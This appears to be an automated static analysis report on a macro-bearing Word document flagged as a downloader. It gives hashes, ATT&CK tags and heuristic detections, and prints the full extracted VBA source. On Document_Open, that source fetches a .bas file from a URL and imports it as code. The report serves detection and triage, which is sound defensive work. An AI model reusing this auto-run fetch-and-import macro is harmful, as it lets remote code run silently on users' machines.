Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 aa44222f2cffe20e…

MALICIOUS

Office (OOXML)

87.0 KB Created: 2021-05-21 14:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-16
MD5: 312e42a96ffaa8e6379a9c54266db2c3 SHA-1: 4fcb8eac3b68e8fb7d8de14787be314e606f4e76 SHA-256: aa44222f2cffe20ea3ec63c51130d7e960cc0892ce4d8c4a7385229a232c07dd
138 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro. The macro's Document_Open subroutine calls getCode, which downloads a second VBA macro from the URL http://kollaboration.intranet.stzh.ch/orga/asz-aszdokumentenbibliothek/Vorlagen/Makros/MakroMasterStandard.bas and saves it to the temporary directory as MakroMasterStandard.bas. It then attempts to import this downloaded macro into the current document, indicating a downloader or dropper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
         myURL = WinHttpReq.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
         sFilename = Environ("TEMP") & "\MakroMasterStandard.bas"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kollaboration.intranet.stzh.ch/orga/asz-aszdokumentenbibliothek/Vorlagen/Makros/MakroMasterStandard.bas Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1815 bytes
SHA-256: 1b05eb69a9d5a9634b4416ea7a18910cc65465ec2ebfd16ec7446d39ccafd81a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub getCode()
    Dim myURL As String, sFilename As String
     myURL = "http://kollaboration.intranet.stzh.ch/orga/asz-aszdokumentenbibliothek/Vorlagen/Makros/MakroMasterStandard.bas"
     sFilename = Environ("TEMP") & "\MakroMasterStandard.bas"
         
   Dim WinHttpReq As Object, oStream As Object
     Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
     WinHttpReq.Open "GET", myURL, False ', "username", "password"
    WinHttpReq.Send
    
     myURL = WinHttpReq.ResponseBody
     If WinHttpReq.Status = 200 Then
         Set oStream = CreateObject("ADODB.Stream")
         oStream.Open
         oStream.Type = 1
         oStream.Write WinHttpReq.ResponseBody
         oStream.SaveToFile sFilename, 2  ' 1 = no overwrite, 2 = overwrite
        oStream.Close
     End If

    On Error Resume Next
    ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents("Modul1")
    ActiveDocument.VBProject.VBComponents.Import sFilename
    On Error GoTo 0
    
End Sub
Private Sub Document_Open()
    getCode
    Application.OnTime Now, "set_Userdata_from_AD_now"
    'Application.OnTime Now + TimeValue("00:00:03"), "set_Userdata_from_AD_now"
End Sub
Sub set_Userdata_from_AD_now()
    set_Userdata_from_AD
End Sub
Sub reset_Data()
    getCode
    Application.OnTime Now, "reset_Data_now"
End Sub
Public Sub reset_Data_now()
    reset_datas
    ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents("Modul1")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: eb0939ec0cb0b69a8ce279f9a46f4ad395e1c4b3a393ea4c8db461d99d9c9cb0